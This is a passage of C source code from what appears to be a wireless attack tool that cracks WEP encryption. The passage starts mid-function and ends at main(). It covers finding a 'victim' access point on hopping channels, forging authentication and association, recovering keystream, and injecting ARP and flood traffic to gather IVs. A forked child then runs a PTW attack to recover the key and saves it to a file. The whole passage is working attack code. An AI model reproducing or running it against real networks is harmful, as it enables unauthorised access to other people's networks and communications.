2002 			state = SENDING_AUTH;
2003 			break;
2004 
2005 		case GOT_AUTH:
2006 			send_assoc(tx);
2007 			state = SENDING_ASSOC;
2008 			break;
2009 
2010 		case GOT_ASSOC:
2011 			if (prgainfo.prga && prgainfo.len < min_prga) {
2012 				discover_prga(tx);
2013 				break;
2014 			}
2015 
2016 			if (decryptstate.cipher) {
2017 				decrypt(tx);
2018 				break;
2019 			}
2020 
2021 			if (!prgainfo.prga)
2022 				break;
2023 
2024 			if (taptx_len) {
2025 				send_frame(tx, taptx, taptx_len);
2026 				taptx_len = 0;
2027 				break;
2028 			}
2029 
2030 			// try to find rtr mac addr
2031 			if (netip && !rtrmac) {
2032 				char* ptr;
2033 
2034 				strcpy(arp_ip, netip);
2035 				if (!netip_arg) {
2036 					ptr = strchr(arp_ip, '.');
2037 					assert(ptr);
2038 					ptr = strchr(++ptr, '.');
2039 					assert(ptr);
2040 					ptr = strchr(++ptr, '.');
2041 					assert(ptr);
2042 					strcpy(++ptr, "1");
2043 				}
2044 
2045 				if (gettimeofday(&arpsend, NULL) == -1)
2046 					err(1, "gettimeofday()");
2047 
2048 				time_print("Sending arp request for: %s\n", arp_ip);
2049 				send_arp(tx, ARPOP_REQUEST, myip, mymac,
2050 					 arp_ip, "\x00\x00\x00\x00\x00\x00");
2051 
2052 				// XXX lame
2053 				rtrmac = (unsigned char*)1;
2054 				break;
2055 			}
2056 
2057 			// need to generate traffic...
2058 			if (rtrmac > (unsigned char*)1 && netip) {
2059 				if (floodip)
2060 					flood_inet(tx);
2061 				else {
2062 					// XXX lame technique... anyway... im
2063 					// only interested in flood_inet...
2064 
2065 					// could ping broadcast....
2066 					send_arp(tx, ARPOP_REQUEST, myip, mymac,
2067 						 arp_ip, "\x00\x00\x00\x00\x00\x00");
2068 				}
2069 
2070 				break;
2071 			}
2072 
2073 			break;
2074 	}
2075 }
2076 
save_key(unsigned char * key,int len)2077 void save_key(unsigned char *key, int len)
2078 {
2079 	char tmp[16];
2080 	char k[64];
2081 	int fd;
2082 	int rd;
2083 
2084 	assert(len*3 < sizeof(k));
2085 
2086 	k[0] = 0;
2087 	while (len--) {
2088 		sprintf(tmp, "%.2X", *key++);
2089 		strcat(k, tmp);
2090 		if (len)
2091 			strcat(k, ":");
2092 	}
2093 
2094 	fd = open(KEY_FILE, O_WRONLY | O_CREAT, 0644);
2095 	if (fd == -1)
2096 		err(1, "open()");
2097 
2098 	printf("\nKey: %s\n", k);
2099 	rd = write(fd, k, strlen(k));
2100 	if (rd == -1)
2101 		err(1, "write()");
2102 	if (rd != strlen(k))
2103 		errx(1, "write %d/%d\n", rd, strlen(k));
2104 	close(fd);
2105 }
2106 
2107 #define KEYLIMIT (1000000)
do_crack(void)2108 int do_crack(void)
2109 {
2110 	unsigned char key[PTW_KEYHSBYTES];
2111 
2112 	if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) {
2113 		save_key(key, 13);
2114 		return 1;
2115 	}
2116 	if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) {
2117 		save_key(key, 5);
2118 		return 1;
2119 	}
2120 
2121 	return 0;
2122 }
2123 
try_crack()2124 void try_crack() {
2125 	if (crack_pid) {
2126 		printf("\n");
2127 		time_print("Warning... previous crack still running!\n");
2128 		kill_crack();
2129 	}
2130 
2131 	if (weplog.fd) {
2132 		if (fsync(weplog.fd) == -1)
2133 			err(1, "fsync");
2134 	}
2135 
2136 	crack_pid = fork();
2137 
2138 	if (crack_pid == -1)
2139 		err(1, "fork");
2140 
2141 	// child
2142 	if (crack_pid == 0) {
2143 		if (!do_crack())
2144 			printf("\nCrack unsuccessful\n");
2145 		exit(1);
2146 	}
2147 
2148 	// parent
2149 	printf("\n");
2150 	time_print("Starting crack PID=%d\n", crack_pid);
2151 	if (gettimeofday(&crack_start, NULL) == -1)
2152 		err(1, "gettimeofday");
2153 
2154 
2155 	wep_thresh += thresh_incr;
2156 }
2157 
open_tap()2158 void open_tap() {
2159 	struct stat st;
2160 	int s;
2161 	struct ifreq ifr;
2162 	unsigned int flags;
2163 
2164 	tapfd = open(TAP_DEV, O_RDWR);
2165 	if (tapfd == -1) {
2166 		printf("Can't open tap: %s\n", strerror(errno));
2167 		exit(1);
2168 	}
2169 	if(fstat(tapfd, &st) == -1) {
2170 		perror("fstat()");
2171 		exit(1);
2172 	}
2173 
2174 	// feer
2175 	strcpy(tapdev, devname(st.st_rdev, S_IFCHR));
2176 
2177 	s = socket(PF_INET, SOCK_DGRAM, 0);
2178 	if (s == -1) {
2179 		perror("socket()");
2180 		exit(1);
2181 	}
2182 
2183 	// MTU
2184 	memset(&ifr, 0, sizeof(ifr));
2185 	strcpy(ifr.ifr_name, tapdev);
2186 	ifr.ifr_mtu = 1500;
2187 	if (ioctl(s, SIOCSIFMTU, &ifr) == -1) {
2188 		perror("ioctl(SIOCSIFMTU)");
2189 		exit(1);
2190 	}
2191 
2192 	// set iface up
2193 	memset(&ifr, 0, sizeof(ifr));
2194 	strcpy(ifr.ifr_name, tapdev);
2195 	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) {
2196 		perror("ioctl(SIOCGIFFLAGS)");
2197 		exit(1);
2198 	}
2199 
2200 	flags = (ifr.ifr_flags & 0xffff) | (ifr.ifr_flagshigh << 16);
2201 	flags |= IFF_UP;
2202 
2203 	memset(&ifr, 0, sizeof(ifr));
2204 	strcpy(ifr.ifr_name, tapdev);
2205 	ifr.ifr_flags = flags & 0xffff;
2206 	ifr.ifr_flagshigh = flags >> 16;
2207 	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) {
2208 		perror("ioctl(SIOCSIFFLAGS)");
2209 		exit(1);
2210 	}
2211 
2212 	close(s);
2213 	time_print("Opened tap device: %s\n", tapdev);
2214 }
2215 
read_tap()2216 void read_tap() {
2217 	unsigned char buf[4096];
2218 	struct ether_header* eh;
2219 	struct ieee80211_frame* wh;
2220 	int rd;
2221 	unsigned char* ptr, *body;
2222 	int dlen;
2223 
2224 	rd = read(tapfd, buf, sizeof(buf));
2225 	if (rd == -1) {
2226 		perror("read()");
2227 		exit(1);
2228 	}
2229 	dlen = rd - sizeof(*eh);
2230 
2231 	assert(dlen > 0);
2232 
2233 	if (dlen+8 > prgainfo.len) {
2234 		printf("\n");
2235 		// XXX lame message...
2236 		time_print("Sorry... want to send %d but only got %d prga\n",
2237 			   dlen, prgainfo.len);
2238 		return;
2239 
2240 	}
2241 
2242 	if (taptx_len) {
2243 		printf("\n");
2244 		time_print("Sorry... overflow in TAP queue [of 1 packet =P] overwriting\n");
2245 		// XXX could not read instead and get rid of it in select...
2246 	}
2247 
2248 	assert (rd < (sizeof(buf)-sizeof(*wh) - 8 - 8));
2249 
2250 	eh = (struct ether_header*) buf;
2251 
2252 	wh = (struct ieee80211_frame*) taptx;
2253 	memset(wh, 0, sizeof(*wh));
2254 	fill_basic(wh);
2255 
2256         wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
2257         wh->i_fc[1] |= IEEE80211_FC1_PROTECTED | IEEE80211_FC1_DIR_TODS;
2258 
2259 	memcpy(wh->i_addr2, eh->ether_shost, 6);
2260 	memcpy(wh->i_addr3, eh->ether_dhost, 6);
2261 
2262         body = (unsigned char*) wh + sizeof(*wh);
2263         ptr = body;
2264         ptr += 4; // iv
2265 
2266 	do_llc(ptr, ntohs(eh->ether_type));
2267 	ptr += 8;
2268 
2269 	memcpy(ptr, &buf[sizeof(*eh)], dlen);
2270 
2271 	wepify(body, 8+dlen);
2272 	taptx_len = sizeof(*wh) + 4 + 8 + dlen + 4;
2273 
2274 	assert (taptx_len < sizeof(taptx));
2275 }
2276 
elapsedd(struct timeval * past,struct timeval * now)2277 int elapsedd(struct timeval *past, struct timeval *now)
2278 {
2279         int el;
2280 
2281         el = now->tv_sec - past->tv_sec;
2282         assert(el >= 0);
2283         if (el == 0) {
2284                 el = now->tv_usec - past->tv_usec;
2285         } else {
2286                 el = (el - 1)*1000*1000;
2287                 el += 1000*1000-past->tv_usec;
2288                 el += now->tv_usec;
2289         }
2290 
2291         return el;
2292 }
2293 
get_80211(unsigned char ** data,int * totlen,int * plen)2294 static unsigned char *get_80211(unsigned char **data, int *totlen, int *plen)
2295 {
2296 #define BIT(n)  (1<<(n))
2297         struct bpf_hdr *bpfh;
2298         struct ieee80211_radiotap_header *rth;
2299         uint32_t present;
2300         uint8_t rflags;
2301         void *ptr;
2302 	static int nocrc = 0;
2303 
2304 	assert(*totlen);
2305 
2306         /* bpf hdr */
2307         bpfh = (struct bpf_hdr*) (*data);
2308         assert(bpfh->bh_caplen == bpfh->bh_datalen); /* XXX */
2309         *totlen -= bpfh->bh_hdrlen;
2310 
2311         /* check if more packets */
2312         if ((int)bpfh->bh_caplen < *totlen) {
2313                 int tot = bpfh->bh_hdrlen + bpfh->bh_caplen;
2314                 int offset = BPF_WORDALIGN(tot);
2315 
2316                 *data = (char*)bpfh + offset;
2317                 *totlen -= offset - tot; /* take into account align bytes */
2318         } else if ((int)bpfh->bh_caplen > *totlen)
2319                 abort();
2320 
2321         *plen = bpfh->bh_caplen;
2322         *totlen -= bpfh->bh_caplen;
2323         assert(*totlen >= 0);
2324 
2325         /* radiotap */
2326         rth = (struct ieee80211_radiotap_header*)
2327               ((char*)bpfh + bpfh->bh_hdrlen);
2328         /* XXX cache; drivers won't change this per-packet */
2329         /* check if FCS/CRC is included in packet */
2330         present = le32toh(rth->it_present);
2331         if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) {
2332                 if (present & BIT(IEEE80211_RADIOTAP_TSFT))
2333                         rflags = ((const uint8_t *)rth)[8];
2334                 else
2335                         rflags = ((const uint8_t *)rth)[0];
2336         } else
2337                 rflags = 0;
2338         *plen -= rth->it_len;
2339         assert(*plen > 0);
2340 
2341         /* 802.11 CRC */
2342         if (nocrc || (rflags & IEEE80211_RADIOTAP_F_FCS)) {
2343                 *plen -= IEEE80211_CRC_LEN;
2344                 nocrc = 1;
2345         }
2346 
2347         ptr = (char*)rth + rth->it_len;
2348 
2349         return ptr;
2350 #undef BIT
2351 }
2352 
read_packet(int fd,unsigned char * dst,int len)2353 static int read_packet(int fd, unsigned char *dst, int len)
2354 {
2355 	static unsigned char buf[4096];
2356 	static int totlen = 0;
2357 	static unsigned char *next = buf;
2358         unsigned char *pkt;
2359         int plen;
2360 
2361         assert(len > 0);
2362 
2363         /* need to read more */
2364         if (totlen == 0) {
2365                 totlen = read(fd, buf, sizeof(buf));
2366                 if (totlen == -1) {
2367                         totlen = 0;
2368                         return -1;
2369                 }
2370                 next = buf;
2371         }
2372 
2373         /* read 802.11 packet */
2374         pkt = get_80211(&next, &totlen, &plen);
2375         if (plen > len)
2376                 plen = len;
2377         assert(plen > 0);
2378         memcpy(dst, pkt, plen);
2379 
2380         return plen;
2381 }
2382 
own(int wifd)2383 void own(int wifd) {
2384 	unsigned char buf[4096];
2385 	int rd;
2386 	fd_set rfd;
2387 	struct timeval tv;
2388 	char *pbar = "/-\\|";
2389 	char *pbarp = &pbar[0];
2390 	struct timeval lasthop;
2391 	struct timeval now;
2392 	unsigned int last_wep_count = 0;
2393 	struct timeval last_wcount;
2394 	struct timeval last_status;
2395 	int fd;
2396 	int largest;
2397 
2398 	weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND);
2399 	if (weplog.fd == -1) {
2400 		struct pcap_file_header pfh;
2401 
2402 		memset(&pfh, 0, sizeof(pfh));
2403 		pfh.magic           = TCPDUMP_MAGIC;
2404 		pfh.version_major   = PCAP_VERSION_MAJOR;
2405 		pfh.version_minor   = PCAP_VERSION_MINOR;
2406 		pfh.thiszone        = 0;
2407 		pfh.sigfigs         = 0;
2408 		pfh.snaplen         = 65535;
2409 		pfh.linktype        = LINKTYPE_IEEE802_11;
2410 
2411 		weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT,
2412 				 S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
2413 		if (weplog.fd != -1) {
2414 			if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh))
2415 				err(1, "write()");
2416 		}
2417 	}
2418 	else {
2419 		time_print("WARNING: Appending in %s\n", WEP_FILE);
2420 	}
2421 
2422 	if (weplog.fd == -1) {
2423 		perror("open()");
2424 		exit(1);
2425 	}
2426 
2427 	fd = open(PRGA_FILE, O_RDONLY);
2428 	if (fd != -1) {
2429 		time_print("WARNING: reading prga from %s\n", PRGA_FILE);
2430 		rd = read(fd, buf, sizeof(buf));
2431 		if (rd == -1) {
2432 			perror("read()");
2433 			exit(1);
2434 		}
2435 		if (rd >= 8) {
2436 			set_prga(buf, NULL, &buf[3], rd - 3);
2437 		}
2438 
2439 		close(fd);
2440 	}
2441 
2442 	fd = open(DICT_PATH, O_RDONLY);
2443 	if (fd == -1) {
2444 		time_print("Creating dictionary directory (%s)\n", DICT_PATH);
2445 		if (mkdir (DICT_PATH, 0755) == -1) {
2446 			perror("mkdir()");
2447 			exit(1);
2448 		}
2449 	}
2450 	else
2451 		close(fd);
2452 
2453 	open_tap();
2454 	set_if_mac(mymac, tapdev);
2455 	time_print("Set tap MAC to: %s\n", mac2str(mymac));
2456 
2457 	if (tapfd > wifd)
2458 		largest = tapfd;
2459 	else
2460 		largest = wifd;
2461 
2462 	if (signal(SIGINT, &cleanup) == SIG_ERR) {
2463 		perror("signal()");
2464 		exit(1);
2465 	}
2466 	if (signal (SIGTERM, &cleanup) == SIG_ERR) {
2467 		perror("signal()");
2468 		exit(1);
2469 	}
2470 
2471 	time_print("Looking for a victim...\n");
2472 	if (gettimeofday(&lasthop, NULL) == -1) {
2473 		perror("gettimeofday()");
2474 		exit(1);
2475 	}
2476 
2477 	memcpy(&last_wcount, &lasthop, sizeof(last_wcount));
2478 	memcpy(&last_status, &lasthop, sizeof(last_status));
2479 
2480 	while (1) {
2481 		if (gettimeofday(&now, NULL) == -1) {
2482 			perror("gettimeofday()");
2483 			exit(1);
2484 		}
2485 
2486 		/* check for relay timeout */
2487 		if (fragstate.waiting_relay) {
2488 			int el;
2489 
2490 			el = now.tv_sec - fragstate.last.tv_sec;
2491 			assert (el >= 0);
2492 			if (el == 0) {
2493 				el = now.tv_usec - fragstate.last.tv_usec;
2494 			} else {
2495 				el--;
2496 
2497 				el *= 1000*1000;
2498 				el += 1000*1000 - fragstate.last.tv_usec;
2499 				el += now.tv_usec;
2500 
2501 				if (el > (1500*1000)) {
2502 //					printf("\nLAMER timeout\n\n");
2503 					free(fragstate.data);
2504 					fragstate.data = 0;
2505 				}
2506 			}
2507 		}
2508 
2509 		/* check for arp timeout */
2510 		if (rtrmac == (unsigned char*) 1) {
2511 			int el;
2512 
2513 			el = elapsedd(&arpsend, &now);
2514 			if (el >= (1500*1000)) {
2515 				rtrmac = 0;
2516 			}
2517 		}
2518 
2519 		// status bar
2520 		if ( (now.tv_sec > last_status.tv_sec ) ||
2521 		     ( now.tv_usec - last_status.tv_usec > 100*1000)) {
2522 		     	if (crack_pid && (now.tv_sec > last_status.tv_sec)) {
2523 				check_key();
2524 			}
2525 			if (netip && prgainfo.len >= min_prga &&
2526 			    rtrmac > (unsigned char*) 1) {
2527 				time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d)         \r",
2528 				       weplog.packets, wep_thresh,
2529 				       weplog.iv[0], weplog.iv[1], weplog.iv[2],
2530 				       weplog.rate);
2531 				fflush(stdout);
2532 			}
2533 			else {
2534 				if (state == FIND_VICTIM)
2535 					time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp);
2536 				else if (decryptstate.cipher) {
2537 					int pos = decryptstate.prgainfo.len - 1;
2538 					unsigned char prga = decryptstate.prgainfo.prga[pos];
2539 					assert(pos);
2540 
2541 					time_print("Guessing PRGA %.2x (IP byte=%d)    \r",
2542 						   prga, decryptstate.cipher[pos] ^ prga);
2543 				}
2544 				else
2545 					time_print("%c\r", *pbarp);
2546 				fflush(stdout);
2547 			}
2548 			memcpy(&last_status, &now,sizeof(last_status));
2549 		}
2550 
2551 		// check if we are cracking
2552 		if (crack_pid) {
2553 			if (now.tv_sec - crack_start.tv_sec >= crack_dur)
2554 				kill_crack();
2555 		}
2556 
2557 		// check TX  / retransmit
2558 		if (txstate.waiting_ack) {
2559 			unsigned int elapsed = now.tv_sec -
2560 					       txstate.tsent.tv_sec;
2561 			elapsed *= 1000*1000;
2562 			elapsed += (now.tv_usec - txstate.tsent.tv_usec);
2563 
2564 			if (elapsed >= ack_timeout)
2565 				send_frame(wifd, NULL, -1);
2566 		}
2567 
2568 		// INPUT
2569 		// select
2570 		FD_ZERO(&rfd);
2571 		FD_SET(wifd, &rfd);
2572 		FD_SET(tapfd, &rfd);
2573 		tv.tv_sec = 0;
2574 		tv.tv_usec = 1000*10;
2575 		rd = select(largest+1, &rfd, NULL, NULL, &tv);
2576 		if (rd == -1) {
2577 			perror("select()");
2578 			exit(1);
2579 		}
2580 
2581 		// read
2582 		if (rd != 0) {
2583 			// wifi
2584 			if (FD_ISSET(wifd, &rfd)) {
2585 				rd = read_packet(wifd, buf, sizeof(buf));
2586 				if (rd == 0)
2587 					return;
2588 				if (rd == -1) {
2589 					perror("read()");
2590 					exit(1);
2591 				}
2592 
2593 				pbarp++;
2594 				if(!(*pbarp))
2595 					pbarp = &pbar[0];
2596 				// input
2597 				anal(buf, rd, wifd);
2598 			}
2599 
2600 			// tap
2601 			if (FD_ISSET(tapfd, &rfd)) {
2602 				read_tap();
2603 			}
2604 		}
2605 
2606 		// check state and what we do next.
2607 		if (state == FIND_VICTIM) {
2608 			if (now.tv_sec > lasthop.tv_sec ||
2609 			    ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) {
2610 				int chan = chaninfo.chan;
2611 				chan++;
2612 
2613 				if(chan > max_chan)
2614 					chan = 1;
2615 
2616 				set_chan(chan);
2617 				memcpy(&lasthop, &now, sizeof(lasthop));
2618 			}
2619 		} else {
2620 		// check if we need to write something...
2621 			if (!txstate.waiting_ack)
2622 				can_write(wifd);
2623 
2624 			// roughly!
2625 
2626 #ifdef MORE_ACCURATE
2627 			if ( (now.tv_sec - last_wcount.tv_sec) >= 2) {
2628 				unsigned int elapsed;
2629 				int secs;
2630 				int packetz = weplog.packets - last_wep_count;
2631 				elapsed = 1000*1000;
2632 
2633 				elapsed -= last_wcount.tv_usec;
2634 
2635 				assert(elapsed >= 0);
2636 				elapsed += now.tv_usec;
2637 
2638 				secs = now.tv_sec - last_wcount.tv_sec;
2639 				secs--;
2640 				if (secs > 0)
2641 					elapsed += (secs*1000*1000);
2642 
2643 				weplog.rate = (int)
2644 				((double)packetz/(elapsed/1000.0/1000.0));
2645 #else
2646 			if ( now.tv_sec > last_wcount.tv_sec) {
2647 				weplog.rate = weplog.packets - last_wep_count;
2648 #endif
2649 				last_wep_count = weplog.packets;
2650 				memcpy(&last_wcount, &now, sizeof(now));
2651 
2652 				if (wep_thresh != -1 && weplog.packets > wep_thresh)
2653 					try_crack();
2654 			}
2655 		}
2656 	}
2657 }
2658 
2659 void start(char *dev) {
2660 	int fd;
2661 
2662 	setup_if(dev);
2663 
2664 	fd = open_bpf(dev, DLT_IEEE802_11_RADIO);
2665 
2666 	ptw = PTW_newattackstate();
2667 	if (!ptw)
2668 		err(1, "PTW_newattackstate()");
2669 
2670 	own(fd);
2671 
2672 #if 0
2673 	{
2674 		int i;
2675 		struct timeval tv;
2676 		set_chan(11);
2677 		for (i = 0; i < 10; i++) {
2678 			gettimeofday(&tv, NULL);
2679 
2680 			send_ack(tx);
2681 //			usleep(500);
2682 			printf("%lu\n", tv.tv_usec);
2683 		}
2684 	}
2685 #endif
2686 
2687 	close(fd);
2688 }
2689 
2690 void usage(char* pname) {
2691 	printf("Usage: %s <opts>\n", pname);
2692 	printf("-h\t\tthis lame message\n");
2693 	printf("-i\t\t<iface>\n");
2694 	printf("-s\t\t<flood server ip>\n");
2695 	printf("-m\t\t<my ip>\n");
2696 	printf("-n\t\t<net ip>\n");
2697 	printf("-r\t\t<rtr mac>\n");
2698 	printf("-a\t\t<mymac>\n");
2699 	printf("-c\t\tdo not crack\n");
2700 	printf("-p\t\t<min prga>\n");
2701 	printf("-4\t\t64 bit key\n");
2702 	printf("-v\t\tvictim mac\n");
2703 	printf("-t\t\t<crack thresh>\n");
2704 	printf("-f\t\t<max chan>\n");
2705 	exit(0);
2706 }
2707 
2708 void str2mac(unsigned char* dst, unsigned char* mac) {
2709 	unsigned int macf[6];
2710 	int i;
2711 
2712 	if( sscanf(mac, "%x:%x:%x:%x:%x:%x",
2713                    &macf[0], &macf[1], &macf[2],
2714                    &macf[3], &macf[4], &macf[5]) != 6) {
2715 
2716 		   printf("can't parse mac %s\n", mac);
2717 		   exit(1);
2718 	}
2719 
2720 	for (i = 0; i < 6; i++)
2721 		*dst++ = (unsigned char) macf[i];
2722 }
2723 
2724 int main(int argc, char *argv[]) {
2725 	unsigned char* dev = "ath0";
2726 	unsigned char rtr[6];
2727 	unsigned char vic[6];
2728 
2729 	int ch;
2730 
2731 	if (gettimeofday(&real_start, NULL) == -1) {
2732 		perror("gettimeofday()");
2733 		exit(1);
2734 	}
2735 
2736 	chaninfo.s = -1;
2737 	victim.ssid = 0;
2738 	prgainfo.len = 0;
2739 
2740 	memset(&txstate, 0, sizeof(txstate));
2741 	memset(&fragstate, 0, sizeof(fragstate));
2742 	memset(&decryptstate, 0, sizeof(decryptstate));
2743 	memset(&weplog, 0, sizeof(weplog));
2744 
2745 	state = FIND_VICTIM;
2746 
2747 	while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) {
2748 		switch (ch) {
2749 			case 'a':
2750 				str2mac(mymac, optarg);
2751 				break;
2752 
2753 			case 's':
2754 				floodip = optarg;
2755 				break;
2756 
2757 			case 'i':
2758 				dev = optarg;
2759 				break;
2760 
2761 			case 'm':
2762 				strncpy(myip, optarg, sizeof(myip)-1);
2763 				myip[sizeof(myip)-1] = 0;
2764 				break;
2765 
2766 			case 'n':
2767 				netip = optarg;
2768 				netip_arg = 1;
2769 				break;
2770 
2771 			case 'r':
2772 				str2mac(rtr, optarg);
2773 				rtrmac = rtr;
2774 				break;
2775 
2776 			case 'v':
2777 				str2mac(vic, optarg);
2778 				victim_mac = vic;
2779 				break;
2780 
2781 			case 'c':
2782 				wep_thresh = -1;
2783 				break;
2784 
2785 			case 'p':
2786 				min_prga = atoi(optarg);
2787 				break;
2788 
2789 			case 't':
2790 				thresh_incr = wep_thresh = atoi(optarg);
2791 				break;
2792 
2793 			case 'f':
2794 				max_chan = atoi(optarg);
2795 				break;
2796 
2797 			case '4':
2798 				bits = 64;
2799 				break;
2800 
2801 			default:
2802 				usage(argv[0]);
2803 				break;
2804 		}
2805 	}
2806 
2807 	start(dev);
2808 
2809 	if(chaninfo.s != -1)
2810 		close(chaninfo.s);
2811 	if(victim.ssid)
2812 		free(victim.ssid);
2813 	exit(0);
2814 }
2815